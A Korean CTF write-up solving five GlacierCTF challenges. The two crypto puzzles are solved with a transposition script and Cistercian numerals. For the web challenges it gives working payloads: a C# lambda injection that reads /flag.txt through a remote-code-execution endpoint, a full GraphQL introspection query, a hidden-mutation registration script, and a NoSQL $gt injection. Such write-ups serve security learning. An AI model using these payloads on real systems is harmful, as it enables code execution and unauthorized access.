1.
아쉽게 안풀린 문제가 너무 많았다. 90% 정도 풀었었는데 라이트업 보고 아~ 했던 문제들까지 정리한다. github에 소스코드가 올라올 때까지 기다리려고 했는데 이번 주말에 대회가 세 개나 있어서 밀리면 안 될까봐 그냥 쓴다.
2. THE CHALLS
- simple crypto
- strange letters
- RCE as a service 1
- Flag Coin 1
- Flag Coin 2
simple crypto - crypto
hZet3iAs1Rvi3eNwOvPlu4en5Sxiwggrofiihkxfuarrqzcckdsrmuagegrpouyaqtqznhqgdfachkirtddpmutksnagisulccf
(생략)
}jjbrolcdsmwtpszsardxelaususuhosobkjmxecrmeqqjycybkeznsdiavvamavujwtxotksxmglkdaszymuidnnkiuewjmxmcxh
대충 이런 txt 파일이 주어진다. 여기서 플래그를 찾는 게 목표이다. 자세히 보면 처음에 대문자와 숫자가 섞여있다. 중간에 {, }, _도 섞여있다.
file = open("ciphertext.txt","r").read().strip()
l = list(file)
for i in range(2,200):
for j in range(i):
#print(i,2)
result = l[j::i] #j번째에서부터 i만큼 잡아옴.
if "{" in result and "}" in result:
print(i,"".join([r for r in result]))
그냥 말이 되는 문자열이 나올 때까지 아무거나 집어오는 게 기본적인 원리다. print하는 조건은 ”{“와 ”}“이 들어간 문자열일 때다.
strange letters - crypto
이런 이미지를 던져준다. 적당히 문제에서 준 힌트와 함께 조합해서 구글링 해보면 monk cipher(또는 Cistercian numerals) 이라는 걸 알 수 있다.
이 이미지를 바탕으로 조합해서 일일히 조합해보면 일련의 숫자열을 만들 수 있다.
4929 4592 1050 0772 3075 7016 7833 6101 0971 7163 0072 8926 6135 7739 4514 4473 4763 1997
29 보면 바로 text로 변환하는 건 아닌 것 같고, decimal > hex > text(ascii) 로 변환하면 flag가 나온다. 또는 long to bytes를 해도 된다.
RCE as a service 1 - web
cs 파일과 md 파일을 주는데 처음 접해보는 나로서는 당황했다.
curl --request POST \
--url https://rce-as-a-service-1.ctf.glacierctf.com/rce \
--header 'Content-Type: application/json' \
--data '{
"Data": ["Charmander", "Bulbasaur", "Bulbasaur"],
"Query": "(data) => data.Select((d) => d == \"Bulbasaur\" ? \"Charmander\" : eval("cat flag"))"
}'
// This route is for testing the connectivity.
app.MapGet("/", () => "HACK THE 🌍!");
”/“에서 웹앱의 백엔드는 lambda 표현식을 받고선 그것을 실행해준다. 그냥 제목에서부터 써있듯, RCE를 통해 페이로드를 주입할 수 있다.
app.MapPost("/rce", (WorkLoad workLoad) =>
{
var (data, query) = workLoad;
var src = $@"
using System;
using System.Linq;
using System.Collections.Generic;
namespace RCE
{{
public static class Factory
{{
public static Func<IEnumerable<string>, IEnumerable<object>> CreateQuery = {query};
}}
}}";
var options = CSharpParseOptions.Default.WithLanguageVersion(LanguageVersion.CSharp10);
var parsed = SyntaxFactory.ParseSyntaxTree(src, options);
var compilationOptions = new CSharpCompilationOptions(OutputKind.DynamicallyLinkedLibrary)
.WithUsings("System", "System.Collections.Generic", "System.Linq")
.WithOptimizationLevel(OptimizationLevel.Release);
var compilation = CSharpCompilation
.Create("RCE.dll")
.AddSyntaxTrees(parsed)
.WithOptions(compilationOptions)
.WithReferences(references);
using var peStream= new MemoryStream();
var emitResult = compilation.Emit(peStream);
if (!emitResult.Success) {
var errors = string.Join(" && ", emitResult.Diagnostics);
throw new Exception($"Compiler Error(s): {errors}");
}
var rawAssembly = peStream.ToArray();
var assembly = Assembly.Load(rawAssembly);
var factory = assembly.GetType("RCE.Factory");
var createQueryField = factory?.GetField("CreateQuery");
var queryData = (Func<IEnumerable<string>, IEnumerable<object>>) createQueryField?.GetValue(null)!;
var result = queryData(data);
return Results.Ok(result);
});
/rce는 이렇게 생겼다. md 파일을 보면, curl로 간단한 post 리퀘스트를 보내 플래그를 읽어오면 되는 것 같다.
SSTI 공격에서 os 모듈을 가져와 쓰는 것처럼, 파일 입출력 함수를 사용한 페이로드를 써줘야 한다. 위 링크에 자세한 내용이 나와있다.
"Query": "(data) => data.Select((d) => d == \"Bulbasaur\" ? \"Charmander\" : String.Join(\" \", System.IO.File.ReadAllLines(@\"/flag.txt\")))"
그냥 md 파일에 있는 예시 lambda문의 뒷 부분만 바꿔준다.
Flag coin 1 - web
언인텐으로 풀었지만 제대로 된 풀이 방법도 업로드 해보고자 한다.
들어가면 이런 화면을 마주하게 된다. 회원가입은 불가능하다. 그렇다면 로그인이 가능하게 만들어야 한다.
const graphql = async (query, variables) => {
let res = await fetch("/graphql", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ query, variables })
});
return await res.json();
};
const login = async () => {
let username = $("input[name=user]").value;
let password = $("input[name=pass]").value;
let res = await graphql(`
mutation($username: String!, $password: String!) {
login(username: $username, password: $password) {
username
}
}
`, {
username,
password
});
main.js 는 다음과 같다. graphql를 이용하고 있다는 것을 알 수 있다.
mutation을 이용해서 로그인을 핸들하는데, 우리가 아이디와 패스워드를 입력하면 백엔드는 graphql를 이용해 그러한 유저가 있는지 체크하고 결과를 반환한다. 그것을 조작하면 된다. 이쯤에서 graphql 취약점을 찾아보다가 이런것을 발견했다.
__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}}
이걸 보내면 graphql의 모든 스키마가 나온다.
중간을 훑다보면 register_beta_user가 있다. 사실 이건 삽질한 흔적이고 다시 graphql.js
로 돌아오면 좀 더 명확한 스키마가 나와있다.
const mutationType = new GraphQLObjectType({
name: 'Mutation',
fields: {
login: {
type: userType,
args: {
username: { type: GraphQLString },
password: { type: GraphQLString },
},
resolve: (_, args, context, __) => { return login(args, context) }
},
register_beta_user: {
type: userType,
args: {
username: { type: GraphQLString },
password: { type: GraphQLString },
},
resolve: (_, args, context, __) => { return register(args, context) }
},
redeem: {
type: voucherType,
args: {
voucher: { type: GraphQLJSON },
},
resolve: (_, args, context, __) => { return redeem(args, context) }
}
}
});
register_beta_user의 구조에 맞춰서 post request를 보내주면 된다.
import requests
query = {
"query": "\n mutation($username: String!, $password: String!) { \n register_beta_user(username: $username, password: $password){ \n username\n } \n }\n ",
"variables": {
"username": "myname",
"password": "mypass"
}
}
addr = 'https://flagcoin.ctf.glacierctf.com/graphql'
cookie = {"session":"s%3Aasdf.I8iZkrK6Ef4cAtBFTl8630Tk%2B59yeS3UCzJWiTdb%2Fb8"}
r = requests.post(addr, data=query, cookies=cookie)
print(r.content)
myname / mypass로 로그인이 가능하다.
Flag coin 2 - web
1을 언인텐으로 안 풀었으면 이게 쉬웠을 테지만, 삽질을 했다. 위에 나와있는 graphql.js 코드를 보면 voucher의 타입으로 GraphQLJSON을 받는다. 데이터베이스는 mongoose를 쓴다. 그렇다면, graphql을 통한 NoSQL 인젝션이 가능하다. $gt 연산자를 써서 플래그를 구해준다.
import requests
query = {
"query": "\n mutation($voucher: JSON!) { \n redeem(voucher: $voucher) { \n coins\n message\n } \n }\n ",
"variables": { "voucher": { "code": "{\"$gt\":\"\"}" } }
}
addr = 'https://flagcoin.ctf.glacierctf.com/graphql'
cookie = {"session":"s%3Aasdf.I8iZkrK6Ef4cAtBFTl8630Tk%2B59yeS3UCzJWiTdb%2Fb8"}
r = requests.post(addr, data=query, cookies=cookie)
print(r.content)